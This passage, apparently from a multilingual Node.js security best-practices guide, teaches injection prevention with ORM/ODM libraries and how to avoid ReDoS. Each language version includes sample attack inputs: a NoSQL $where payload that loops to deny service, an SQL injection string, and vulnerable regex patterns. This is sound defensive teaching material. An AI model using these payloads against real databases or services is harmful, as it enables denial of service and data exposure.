другой стороны, если ваш сервер работает с разрешениями обычного пользователя, злоумышленник будет ограничен этими разрешениями.\r\n\r\n<br/><br/>\r\n\r\n### Цитата из блога: \"Если вам нужно запустить приложение на порту 80 или 443, вы можете сделать переадресацию портов\"\r\n\r\nИз блога \"Developing Secure Node.js Applications  - A Broad Guide\" [Deepal Jayasekara](https://jsblog.insiderattack.net/developing-secure-node-js-applications-a-broad-guide-286afdec69ce):\r\n> Никогда не запускайте Node.js от имени root. Запуск node.js от имени root ухудшит ситуацию, если злоумышленник каким-то образом получит контроль над вашим приложением. В этом случае злоумышленник также получит права root, что может привести к катастрофе. Если вам нужно запустить приложение на порту 80 или 443, вы можете выполнить переадресацию портов с помощью iptables или разместить внешний прокси-сервер, такой как nginx или apache, который направляет запрос из порта 80 или 443 в ваше приложение.\r\n"
  },
  {
    "path": "sections/security/ormodmusage.basque.md",
    "content": "# Ekidin datu basea injektatzeko ahultasunak ORM / ODM liburutegiak edo DAL moduko beste pakete batzuk erabiliz\r\n\r\n### Azalpena\r\n\r\nZure datu basearen logika sortzerakoan kontuz ibili beharko zenuke erasotzaile potentzialek baliatu ditzaketen injekzio bektoreekin. Datu basearen kontsultak eskuz idaztea edo erabiltzaileen eskaeretarako datuak balioztatu gabe sartzea, horiek dira ahultasun horietaz ohartzeko metodorik errazenak. Erraza da, ordea, egoera hori saihesten, datu baseko eragiketen sarrerak balioztatzeko eta kudeatzeko pakete egokiak erabiltzen dituzunean. Kasu askotan, zure sistema egokia eta segurua izatea lortuko duzu [joi](https://github.com/hapijs/joi) edo [yup](https://github.com/jquense/yup) bezalako balioztatze liburutegiren bat eta beheko zerrendako ORM / ODM bat erabiliz. Horrek bermatu beharko luke kontsulta parametrizatuen eta datuen loturen erabilera datu balioztatuak behar bezala saihestu eta kudeatuko direla ziurtatzeko nahi gabeko eraso bektoreak ireki gabe. Liburutegi horietako askok bizimodua erraztuko dizute, programatzaile zaren aldetik, funtzio erabilgarri ugari ahalbidetuz: esaterako, kontsulta konplexuak eskuz idatzi beharrik ez izatea, lengoaietan oinarritutako sistemetarako letra tipoak hornitzea edo zenbait datu mota nahi duzun formatuetara pasatzea. Amaitzeko, __beti__ balioztatu gorde nahi dituzun datuak eta erabili datuen mapaketa liburutegi egokiak zure lan arriskutsua kudeatzeko.\r\n\r\n### Liburutegiak\r\n\r\n- [TypeORM](https://github.com/typeorm/typeorm)\r\n- [sequelize](https://github.com/sequelize/sequelize)\r\n- [mongoose](https://github.com/Automattic/mongoose)\r\n- [Knex](https://github.com/tgriesser/knex)\r\n- [Objection.js](https://github.com/Vincit/objection.js)\r\n- [waterline](https://github.com/balderdashy/waterline)\r\n\r\n### Adibidea: NoSQL kontsulta injekzioa\r\n\r\n```javascript\r\n// Kontsulta bat\r\ndb.balances.find({\r\n  active: true,\r\n  $where: (obj) => obj.credits - obj.debits < userInput\r\n});\r\n\r\n// Non userInput berdin\r\n\"(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<10000); return Math.max();})()\"\r\n\r\n// zerbitzu-ukatzea abiaraziko du\r\n\r\n// Beste erabiltzaile sarrera batek, datu basean informazio sentsitiboa agerian utz dezakeen beste logika bat gehi dezake\r\n```\r\n\r\n### Adibidea: SQL injekzioa\r\n\r\n```sql\r\nSELECT username, firstname, lastname FROM users WHERE id = 'user input';\r\n\r\nSELECT username, firstname, lastname FROM users WHERE id = 'evil'input';\r\n```\r\n\r\n### Baliabide osagarriak\r\n\r\n🔗 [OWASP SQL injekzioa](https://www.owasp.org/index.php/SQL_Injection)\r\n\r\n🔗 [OWASP SQL injekzioaren prebentziorako tranpa orria](https://github.com/OWASP/CheatSheetSeries)\r\n\r\n🔗 [NoSQL injekzioaren azterketa](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)\r\n\r\n### Beste blogari batzuek diotena\r\n\r\nNoSQL injekzioaren arriskuak [OWASP wiki](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)tik hartua\r\n\r\n> NoSQL injekzio erasoak exekuta daitezkeen aplikazioen eremuak desberdinak dira SQL injekzio tradizionalak exekuta daitezkeenen aldean. SQL injekzioa datu baseko motorraren barruan exekutatuko litzatekeen lekuan, NoSQL aldaerak aplikazioen geruzan edo datu basearen geruzan exekuta daitezke, beti ere zein NoSQL API erabiltzen den eta datuen ereduaren arabera. Normalean NoSQL injekzio erasoak exekutatuko dira eraso katea analizatu, ebaluatu edo NoSQL APIaren dei batean kateatzen den lekuan.\r\n"
  },
  {
    "path": "sections/security/ormodmusage.brazilian-portuguese.md",
    "content": "# Impeça vulnerabilidades de query injection com bibliotecas ORM/ODM\r\n\r\n### Explicação em um Parágrafo\r\n\r\nAo criar sua lógica de banco de dados, você deve estar atento a eventuais pontos de injeção que possam ser explorados por possíveis invasores.  Escrever consultas de banco de dados manualmente ou não, incluindo a validação de dados para solicitações do usuário, são os métodos mais fáceis para permitir essas vulnerabilidades. No entanto, é fácil evitar essa situação quando você usa pacotes adequados para validar entradas e manipular operações do banco de dados. Em muitos casos, seu sistema estará são e salvo usando uma biblioteca de validação como\r\n[joi](https://github.com/hapijs/joi) ou [yup](https://github.com/jquense/yup) e uma biblioteca ORM/ODM da lista abaixo. Isso deve garantir o uso de consultas parametrizadas e vinculações de dados para garantir que os dados validados sejam adequadamente ignorados e manipulados sem abrir vetores de ataque indesejados. Muitas dessas bibliotecas facilitarão sua vida como desenvolvedor, ativando muitos recursos úteis, como não ter que escrever consultas complexas manualmente, fornecendo tipos para sistemas de tipos baseados em idioma ou convertendo tipos de dados em formatos desejados. Para concluir, __sempre__ valide todos os dados que você irá armazenar e use bibliotecas de mapeamento de dados adequadas para lidar com o trabalho perigoso para você.\r\n\r\n### Bibliotecas\r\n\r\n- [TypeORM](https://github.com/typeorm/typeorm)\r\n- [sequelize](https://github.com/sequelize/sequelize)\r\n- [mongoose](https://github.com/Automattic/mongoose)\r\n- [Knex](https://github.com/tgriesser/knex)\r\n- [Objection.js](https://github.com/Vincit/objection.js)\r\n- [waterline](https://github.com/balderdashy/waterline)\r\n\r\n### Exemplo - Injeção de consulta NoSQL\r\n\r\n```javascript\r\n// Uma consulta de\r\ndb.balances.find( { active: true, $where: function() { return obj.credits - obj.debits < userInput; } } );\r\n\r\n// Onde userInput igual a\r\n\"(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<10000); return Math.max();})()\"\r\n\r\n// irá desencadear uma negação de serviço\r\n\r\n// Outra entrada do usuário pode injetar outra lógica, resultando no banco de dados expondo dados sensíveis\r\n```\r\n\r\n### Exemplo - Injeção SQL\r\n\r\n```sql\r\nSELECT username, firstname, lastname FROM users WHERE id = 'user input';\r\n\r\nSELECT username, firstname, lastname FROM users WHERE id = 'evil'input';\r\n```\r\n\r\n### Recursos adicionais\r\n\r\n🔗 [OWASP Injeção SQL](https://www.owasp.org/index.php/SQL_Injection)\r\n\r\n🔗 [OWASP Folha de Dicas de Prevenção de Injeção SQL](https://github.com/OWASP/CheatSheetSeries)\r\n\r\n🔗 [Teste para Injeções NoSQL](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)\r\n\r\n### O que outros Blogueiros dizem\r\n\r\nRiscos de injeção NoSQL da [OWASP wiki](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)\r\n\r\n> Ataques de injeção NoSQL podem ser executados em áreas diferentes do que uma injeção SQL tradicional em uma aplicação. Onde a injeção SQL seria executada no mecanismo do banco de dados, as variantes do NoSQL podem ser executadas na camada da aplicação ou na camada do banco de dados, dependendo da API NoSQL usada e do modelo de dados. Normalmente, os ataques de injeção NoSQL executarão onde a sequência de ataque é analisada, avaliada ou concatenada em uma chamada de API NoSQL.\r\n"
  },
  {
    "path": "sections/security/ormodmusage.french.md",
    "content": "# Prévention des vulnérabilités d'injection de bases de données en utilisant les bibliothèques ORM/ODM ou d'autres paquets DAL\n\n### Un paragraphe d'explication\n\nLorsque vous créez la logique de votre base de données, vous devez faire attention aux éventuels vecteurs d'injection qui pourraient être exploités par des attaquants potentiels. L'écriture manuelle des queries dans la base de données ou l'absence de validation des données pour les demandes des utilisateurs sont les méthodes les plus simples pour permettre ces vulnérabilités. Cette situation est cependant facile à éviter lorsque vous utilisez des paquets appropriés pour valider les entrées et traiter les opérations de la base de données. Dans de nombreux cas, votre système sera sûr et solide en utilisant une bibliothèque de validation comme\n[joi](https://github.com/hapijs/joi) ou [yup](https://github.com/jquense/yup) et un ORM/ODM de la liste ci-dessous. Cela devrait garantir l'utilisation de queries paramétrées et de liaisons de données afin de s'assurer que les données validées sont correctement échappées et traitées sans ouvrir de vecteurs d'attaque indésirables. Nombre de ces bibliothèques vous faciliteront la vie en tant que développeur en vous permettant de bénéficier de nombreuses fonctionnalités utiles, comme le fait de ne pas avoir à écrire manuellement des queries complexes, la fourniture de types pour les systèmes de types basés sur le langage ou la conversion des types de données dans les formats souhaités. Pour conclure, validez __toujours__ toutes les données que vous allez stocker et utilisez les bibliothèques de conversion de données appropriées pour effectuer le travail dangereux à votre place.\n\n### Bibliothèques\n\n- [TypeORM](https://github.com/typeorm/typeorm)\n- [sequelize](https://github.com/sequelize/sequelize)\n- [mongoose](https://github.com/Automattic/mongoose)\n- [Knex](https://github.com/tgriesser/knex)\n- [Objection.js](https://github.com/Vincit/objection.js)\n- [waterline](https://github.com/balderdashy/waterline)\n\n### Exemple - Injection de query NoSQL\n\n```javascript\n// Une query\ndb.balances.find({\n  active: true,\n  $where: (obj) => obj.credits - obj.debits < userInput\n});\n\n// Où userInput est égal à\n\"(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<10000); return Math.max();})()\"\n\n// déclenchera un déni de service\n\n// Une autre entrée de l'utilisateur pourrait injecter une autre logique, ce qui aurait pour conséquence d'exposer des données sensibles dans la base de données\n```\n\n### Exemple - injection SQL\n\n```sql\nSELECT username, firstname, lastname FROM users WHERE id = 'user input';\n\nSELECT username, firstname, lastname FROM users WHERE id = 'evil'input';\n```\n\n### Ressources supplémentaires\n\n🔗 [OWASP injection SQL](https://www.owasp.org/index.php/SQL_Injection)\n\n🔗 [OWASP Aide-mémoire sur la prévention des injections SQL](https://github.com/OWASP/CheatSheetSeries)\n\n🔗 [Tests pour l'injection NoSQL](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)\n\n### Ce que disent les autres blogueurs\n\nRisques de l'injection NoSQL extrait du [wiki OWASP](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)\n\n> Les attaques par injection NoSQL peuvent s'exécuter dans des zones différentes d'une application que celle de l'injection SQL traditionnelle. Là où l'injection SQL s'exécuterait dans le moteur de base de données, les versions NoSQL peuvent s'exécuter, selon l'API NoSQL utilisée et le modèle de données, dans la couche applicative ou dans la couche base de données. En général, les attaques par injection NoSQL s'exécutent lorsque la chaîne d'attaque est analysée, évaluée ou concaténée à l'intérieur d'un appel d'une API NoSQL.\n"
  },
  {
    "path": "sections/security/ormodmusage.japanese.md",
    "content": "# O/Rマッパ/ODM ライブラリを使用してクエリインジェクション脆弱性を防ぐ\r\n\r\n### 一段落説明\r\n\r\nデータベースロジックを作成している際は、潜在的な攻撃者に悪用される可能性のある、偶発的なインジェクションの脆弱性に注意しなければなりません。データベースクエリを手動で書いたり、ユーザーリクエストに対してデータ検証を含まないことは、このような脆弱性をもたらす最も簡単な方法です。しかしながら、この状況は入力を検証したり、データベースのオペレーションを処理してくれる適切なパッケージを利用することで、容易に防ぐことができます。多くの場合、[joi](https://github.com/hapijs/joi) や [yup](https://github.com/jquense/yup) といった検証ライブラリや、下記のリストにあるような O/Rマッパ/ODM を利用することで、システムは安全で確かなものになります。これによって、検証されたデータは適切にエスケープされていて、望まない攻撃を受けることなく処理されるということを明確にするために、パラメータ化されたクエリとデータバインディングの使用を保証します。これらのライブラリの多くは、複雑なクエリを自ら書く必要を無くすこと、言語ベースの型システム用の型を提供すること、データ型を希望の形式に変換してくれることなど、多くの便利な機能を実現し、開発者としての生活を楽にしてくれるでしょう。まとめると、__必ず__、 保存しようとしているデータを検証し、危険な仕事を処理してくれる適切なデータマッピングライブラリを使用してください。\r\n\r\n### ライブラリ\r\n\r\n- [TypeORM](https://github.com/typeorm/typeorm)\r\n- [sequelize](https://github.com/sequelize/sequelize)\r\n- [mongoose](https://github.com/Automattic/mongoose)\r\n- [Knex](https://github.com/tgriesser/knex)\r\n- [Objection.js](https://github.com/Vincit/objection.js)\r\n- [waterline](https://github.com/balderdashy/waterline)\r\n\r\n### 例 - NoSQL クエリインジェクション\r\n\r\n```javascript\r\n// このクエリの\r\ndb.balances.find({\r\n  active: true,\r\n  $where: (obj) => obj.credits - obj.debits < userInput\r\n});\r\n\r\n// userInput が下記のとき、\r\n\"(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<10000); return Math.max();})()\"\r\n\r\n// サービス停止を引き起こします\r\n\r\n// このユーザー入力に他のロジックが注入された場合、センシティブなデータを晒してしまうことになるかもしれません\r\n```\r\n\r\n### 例 - SQL インジェクション\r\n\r\n```sql\r\nSELECT username, firstname, lastname FROM users WHERE id = 'user input';\r\n\r\nSELECT username, firstname, lastname FROM users WHERE id = 'evil'input';\r\n```\r\n\r\n### その他のリソース\r\n\r\n🔗 [OWASP SQL Injection](https://www.owasp.org/index.php/SQL_Injection)\r\n\r\n🔗 [OWASP SQL Injection Prevention Cheat Sheet](https://github.com/OWASP/CheatSheetSeries)\r\n\r\n🔗 [Testing for NoSQL Injection](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)\r\n\r\n### 他のブロガーが言っていること\r\n\r\n[OWASP wiki](https://www.owasp.org/index.php/Testing_for_NoSQL_injection) より、NoSQL インジェクションのリスク\r\n\r\n> NoSQL インジェクション攻撃は、従来の SQL インジェクションとは異なる領域で実行される可能性があります。SQL インジェクションはデータベースエンジン内部で実行されるのに対し、NoSQL インジェクションは、使用される NoSQL API とデータモデルによっては、アプリケーションレイヤーとデータベースレイヤーの間で実行されるかもしれません。典型的には、NoSQL インジェクション攻撃は、攻撃文字列がパース、評価され、そして NoSQL API の呼び出しに結合された際に実行されます。\r\n"
  },
  {
    "path": "sections/security/ormodmusage.md",
    "content": "# Preventing database injection vulnerabilities by using ORM/ODM libraries or other DAL packages\r\n\r\n### One Paragraph Explainer\r\n\r\nWhen creating your database logic you should watch out for eventual injection vectors that could be exploited by potential attackers. Writing database queries manually or not including data validation for user requests are the easiest methods to allow for these vulnerabilities. This situation is however easy to avoid when you use suitable packages for validating input and handling database operations. In many cases your system will be safe and sound by using a validation library like\r\n[joi](https://github.com/hapijs/joi) or [yup](https://github.com/jquense/yup) and an ORM/ODM from the list below. This should guarantee the use of parameterized queries and data bindings to ensure the validated data is properly escaped and handled without opening unwanted attack vectors. Many of these libraries will ease your life as a developer by enabling many useful features like not having to write complex queries manually, supplying types for language-based type systems or converting data types to wanted formats. To conclude, __always__ validate any data you are going to store and use proper data-mapping libraries to handle the dangerous work for you.\r\n\r\n### Libraries\r\n\r\n- [TypeORM](https://github.com/typeorm/typeorm)\r\n- [sequelize](https://github.com/sequelize/sequelize)\r\n- [mongoose](https://github.com/Automattic/mongoose)\r\n- [Knex](https://github.com/tgriesser/knex)\r\n- [Objection.js](https://github.com/Vincit/objection.js)\r\n- [waterline](https://github.com/balderdashy/waterline)\r\n\r\n### Example - NoSQL query injection\r\n\r\n```javascript\r\n// A query of\r\ndb.balances.find({\r\n  active: true,\r\n  $where: (obj) => obj.credits - obj.debits < userInput\r\n});\r\n\r\n// Where userInput equals\r\n\"(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<10000); return Math.max();})()\"\r\n\r\n// will trigger a denial of service\r\n\r\n// Another user input might inject other logic resulting in the database exposing sensitive data\r\n```\r\n\r\n### Example - SQL injection\r\n\r\n```sql\r\nSELECT username, firstname, lastname FROM users WHERE id = 'user input';\r\n\r\nSELECT username, firstname, lastname FROM users WHERE id = 'evil'input';\r\n```\r\n\r\n### Additional resources\r\n\r\n🔗 [OWASP SQL Injection](https://www.owasp.org/index.php/SQL_Injection)\r\n\r\n🔗 [OWASP SQL Injection Prevention Cheat Sheet](https://github.com/OWASP/CheatSheetSeries)\r\n\r\n🔗 [Testing for NoSQL Injection](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)\r\n\r\n### What other bloggers say\r\n\r\nRisks of NoSQL injection from the [OWASP wiki](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)\r\n\r\n> NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.\r\n"
  },
  {
    "path": "sections/security/ormodmusage.polish.md",
    "content": "# Zapobieganie podatności na wstrzykiwanie bazy danych za pomocą bibliotek ORM / ODM lub innych pakietów DAL\n\n### Wyjaśnienie jednym akapitem\n\nPodczas tworzenia logiki bazy danych należy uważać na ewentualne wektory wstrzykiwania, które mogą zostać wykorzystane przez potencjalnych atakujących. Ręczne pisanie zapytań do bazy danych, bez sprawdzania poprawności danych dla żądań użytkowników, jest najłatwiejszym sposobem na uwzględnienie tych luk. Sytuacji tej można jednak łatwo uniknąć, używając odpowiednich pakietów do sprawdzania poprawności danych wejściowych i obsługi operacji na bazie danych. W wielu przypadkach Twój system będzie bezpieczny i będzie działał przy użyciu biblioteki sprawdzania poprawności, takiej jak\n[joi](https://github.com/hapijs/joi) lub [yup](https://github.com/jquense/yup) i ORM / ODM z poniższej listy. Powinno to zagwarantować użycie sparametryzowanych zapytań i powiązań danych, aby zapewnić prawidłowe ucieczkę zweryfikowanych danych i obsługę ich bez otwierania niepożądanych wektorów ataku. Wiele z tych bibliotek ułatwi Ci życie jako programista, umożliwiając wiele przydatnych funkcji, takich jak brak konieczności ręcznego pisania skomplikowanych zapytań, dostarczanie typów dla systemów typów opartych na języku lub konwertowanie typów danych na pożądane formaty. Podsumowując: __zawsze__ sprawdzaj poprawność danych, które zamierzasz przechowywać, i używaj odpowiednich bibliotek mapowania danych do obsługi niebezpiecznej pracy.\n\n### Biblioteki\n\n- [TypeORM](https://github.com/typeorm/typeorm)\n- [sequelize](https://github.com/sequelize/sequelize)\n- [mongoose](https://github.com/Automattic/mongoose)\n- [Knex](https://github.com/tgriesser/knex)\n- [Objection.js](https://github.com/Vincit/objection.js)\n- [waterline](https://github.com/balderdashy/waterline)\n\n### Przykład - NoSQL query injection\n\n```javascript\n// A query of\ndb.balances.find({\n  active: true,\n  $where: (obj) => obj.credits - obj.debits < userInput\n});\n\n// Where userInput equals\n\"(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<10000); return Math.max();})()\"\n\n// will trigger a denial of service\n\n// Another user input might inject other logic resulting in the database exposing sensitive data\n```\n\n### Przykład - SQL injection\n\n```sql\nSELECT username, firstname, lastname FROM users WHERE id = 'user input';\n\nSELECT username, firstname, lastname FROM users WHERE id = 'evil'input';\n```\n\n### Dodatkowe źródła\n\n🔗 [OWASP SQL Injection](https://www.owasp.org/index.php/SQL_Injection)\n\n🔗 [OWASP SQL Injection Prevention Cheat Sheet](https://github.com/OWASP/CheatSheetSeries)\n\n🔗 [Testing for NoSQL Injection](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)\n\n### Co mówią inni blogerzy\n\nRyzyko wstrzyknięcia NoSQL z [OWASP wiki](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)\n\n> NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.\n"
  },
  {
    "path": "sections/security/ormodmusage.russian.md",
    "content": "# Предотвращайте уязвимости при внедрении базы данных с помощью библиотек ORM/ODM или других пакетов DAL\r\n\r\n### Объяснение в один абзац\r\n\r\nПри создании логики базы данных вы должны следить за возможными векторами внедрения, которые могут быть использованы потенциальными злоумышленниками. Написание запросов к базе данных вручную или без проверки данных для пользовательских запросов - это самый простой способ устранения этих уязвимостей. Эту ситуацию, однако, легко избежать, когда вы используете подходящие пакеты для проверки ввода и обработки операций с базой данных. Во многих случаях ваша система будет в целости и сохранности благодаря использованию библиотеки валидации, например [joi](https://github.com/hapijs/joi) или [yup](https://github.com/jquense/yup) и ORM/ODM из списка ниже. Это должно гарантировать использование параметризованных запросов и привязок данных, чтобы гарантировать, что проверенные данные должным образом экранируются и обрабатываются без открытия нежелательных векторов атаки. Многие из этих библиотек облегчат вашу жизнь разработчика, предоставив множество полезных функций, таких как отсутствие необходимости писать сложные запросы вручную, предоставление типов для языковых систем типов или преобразование типов данных в требуемые форматы. В заключение, __always__ проверяйте любые данные, которые вы собираетесь хранить, и используйте соответствующие библиотеки отображения данных, чтобы справиться с опасной для вас работой.\r\n\r\n\r\n### Библиотеки\r\n\r\n- [TypeORM](https://github.com/typeorm/typeorm)\r\n- [sequelize](https://github.com/sequelize/sequelize)\r\n- [mongoose](https://github.com/Automattic/mongoose)\r\n- [Knex](https://github.com/tgriesser/knex)\r\n- [Objection.js](https://github.com/Vincit/objection.js)\r\n- [waterline](https://github.com/balderdashy/waterline)\r\n\r\n### Пример - внедрение запроса в NoSQL\r\n\r\n```javascript\r\n// A query of\r\ndb.balances.find({\r\n  active: true,\r\n  $where: (obj) => obj.credits - obj.debits < userInput\r\n});;\r\n\r\n// Where userInput equals\r\n\"(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<10000); return Math.max();})()\"\r\n\r\n// will trigger a denial of service\r\n\r\n// Another user input might inject other logic resulting in the database exposing sensitive data\r\n```\r\n\r\n### Пример - SQL-инъекция\r\n\r\n```sql\r\nSELECT username, firstname, lastname FROM users WHERE id = 'user input';\r\n\r\nSELECT username, firstname, lastname FROM users WHERE id = 'evil'input';\r\n```\r\n\r\n### Дополнительные ресурсы\r\n\r\n🔗 [OWASP SQL Injection](https://www.owasp.org/index.php/SQL_Injection)\r\n\r\n🔗 [OWASP SQL Injection Prevention Cheat Sheet](https://github.com/OWASP/CheatSheetSeries)\r\n\r\n🔗 [Testing for NoSQL Injection](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)\r\n\r\n### Что говорят другие блогеры\r\n\r\nРиски внедрения NoSQL из [OWASP wiki](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)\r\n\r\n> Атаки NoSQL-инъекцией могут выполняться в других областях приложения, чем традиционные SQL-инъекции. Там, где SQL-инъекция будет выполняться в ядре базы данных, варианты NoSQL могут выполняться во время на уровне приложения или на уровне базы данных, в зависимости от используемого API-интерфейса NoSQL и модели данных. Обычно атаки с внедрением NoSQL выполняются там, где строка атаки анализируется, оценивается или объединяется в вызов API NoSQL.\r\n"
  },
  {
    "path": "sections/security/regex.basque.md",
    "content": "# Saihestu RegEx maltzurra zure hari bakarreko exekuzioa gainkargatzea\r\n\r\n### Azalpena\r\n\r\nAdierazpen Erregularrak (Regular Expressions) erabiltzearen berezko arriskua da testuaren analisi sintaktikoa egin eta testu hori eredu jakin batekin bat egiteko behar diren konputazio baliabideak. Node.js plataforman hari bakarreko gertaeren begizta gailentzen delarik, PUZarekin lotutako operazio batek, adierazpen erregular bateko eredua sortzearen tankerakoa, aplikazioa erabilezin bihur dezake. Ekidin RegEx erabiltzea posible den heinean, edo [validator.js](https://github.com/chriso/validator.js), edo [safe-regex](https://github.com/substack/safe-regex) bezalako liburutegi dedikatu baten esku utzi zeregin hori, RegExen adierazpena segurua den kontrolatzeko, alegia.\r\n\r\nHainbat [OWASP adibide](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS) RegEx eredu erasogarrientzat:\r\n\r\n- (a|aa)+\r\n- ([a-zA-Z]+)\\*\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: denbora esponentzialeko RegEx balioztatzea eta RegEx-en ordez balioztatzaileak erabiltzea\r\n\r\n```javascript\r\nconst regexSegurua = require(\"safe-regex\");\r\nconst postaElektronikoaRegex = /^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/;\r\n\r\n// alse bistaratu beharko luke, postaElektronikoaRegex eraso erraza baita\r\nconsole.log(regexSegurua(postaElektronikoaRegex));\r\n\r\n// regex ereduaren ordez, erabili balioztatzailea:\r\nconst balioztatzailea = require(\"validator\");\r\nconsole.log(balioztatzailea.postaElektronikoaDa(\"liran.tal@gmail.com\"));\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Liburuko aipua: \"Errepikapena erabiltzen duen adierazpenari deritzo adierazpen erregular erasogarria\"\r\n\r\nLiran Talen [Ezinbesteko Node.jsren Segurtasuna](https://leanpub.com/nodejssecurity) liburua:\r\n\r\n> Askotan, programatzaileek RegEx erabiliko dute erabiltzaileen sarrerak esperotako baldintzekin bat datozela balioztatzeko. Errepikatzen den atzemate multzoei errepikapena aplikatzen adierazpenei deritze Adierazpen Erregular erasogarria, non kointzidentzia eredu onargarri batek eta atzemate taldearekin bat ez datozen karaktere batzuek osatzen baitute bat etorri behar duen katea.\r\n"
  },
  {
    "path": "sections/security/regex.brazilian-portuguese.md",
    "content": "# Evite que RegEx maliciosos sobrecarreguem sua execução de thread único\r\n\r\n### Explicação em um Parágrafo\r\n\r\nO risco inerente ao uso de Expressões Regulares são os recursos computacionais necessários para analisar o texto e corresponder a um determinado padrão. Para a plataforma Node.js, em que um loop de eventos de thread único é dominante, uma operação vinculada à CPU, como a resolução de um padrão de expressão regular, tornará o aplicativo sem resposta.\r\nEvite RegEx quando possível ou delege a tarefa para uma biblioteca dedicada como [validator.js](https://github.com/chriso/validator.js), ou [safe-regex](https://github.com/substack/safe-regex) para verificar se a RegEx é segura.\r\n\r\nAlguns [exemplos OWASP](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS) de padrões vulneráveis de RegEx:\r\n* (a|aa)+\r\n* ([a-zA-Z]+)*\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código - Ativando SSL/TLS usando o framework Express\r\n\r\n```javascript\r\nvar saferegex = require('safe-regex');\r\nvar emailRegex = /^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/;\r\n\r\n// deve ser falso porque o emailRegex é vulnerável a ataques de REDoS\r\nconsole.log(saferegex(emailRegex));\r\n\r\n// em vez do padrão regex, use validator:\r\nvar validator = require('validator');\r\nconsole.log(validator.isEmail('liran.tal@gmail.com'));\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Citação de livro: \"Uma expressão regular vulnerável é conhecida como aquela que se aplica à repetição\"\r\n\r\nDo livro [Essential Node.js Security](https://leanpub.com/nodejssecurity) por Liran Tal\r\n> Freqüentemente, os programadores usarão RegExs para validar que uma entrada recebida de um usuário, para verificar se está de acordo com uma condição esperada. Uma Expressão Regular vulnerável é conhecida como uma que aplica a repetição a um grupo de captura de repetição e em que a string a ser correspondida é composta de um sufixo de um padrão de correspondência válido, mais caracteres que não correspondem ao grupo de captura.\r\n\r\n"
  },
  {
    "path": "sections/security/regex.french.md",
    "content": "# Prevent malicious RegEx from overloading your single thread execution\n\n### One Paragraph Explainer\n\nThe risk that is inherent with the use of Regular Expressions is the computational resources that require to parse text and match a given pattern. For the Node.js platform, where a single-thread event-loop is dominant, a CPU-bound operation like resolving a regular expression pattern will render the application unresponsive.\nAvoid RegEx when possible or defer the task to a dedicated library like [validator.js](https://github.com/chriso/validator.js), or [safe-regex](https://github.com/substack/safe-regex) to check if the RegEx pattern is safe.\n\nSome [OWASP examples](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS) for vulnerable RegEx patterns:\n* (a|aa)+\n* ([a-zA-Z]+)*\n\n<br/><br/>\n\n### Code Example – Validating exponential time RegEx and using validators instead of RegEx\n\n```javascript\nconst saferegex = require('safe-regex');\nconst emailRegex = /^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/;\n\n// should output false because the emailRegex is vulnerable to redos attacks\nconsole.log(saferegex(emailRegex));\n\n// instead of the regex pattern, use validator:\nconst validator = require('validator');\nconsole.log(validator.isEmail('liran.tal@gmail.com'));\n```\n\n<br/><br/>\n\n### Book Quote: \"A vulnerable Regular Expression is known as one which applies repetition\"\n\nFrom the book [Essential Node.js Security](https://leanpub.com/nodejssecurity) by Liran Tal\n> Often, programmers will use RegEx to validate that an input received from a user conforms to an expected condition. A vulnerable Regular Expression is known as one which applies repetition to a repeating capturing group, and where the string to match is composed of a suffix of a valid matching pattern plus characters that aren't matching the capturing group.\n\n"
  },
  {
    "path": "sections/security/regex.japanese.md",
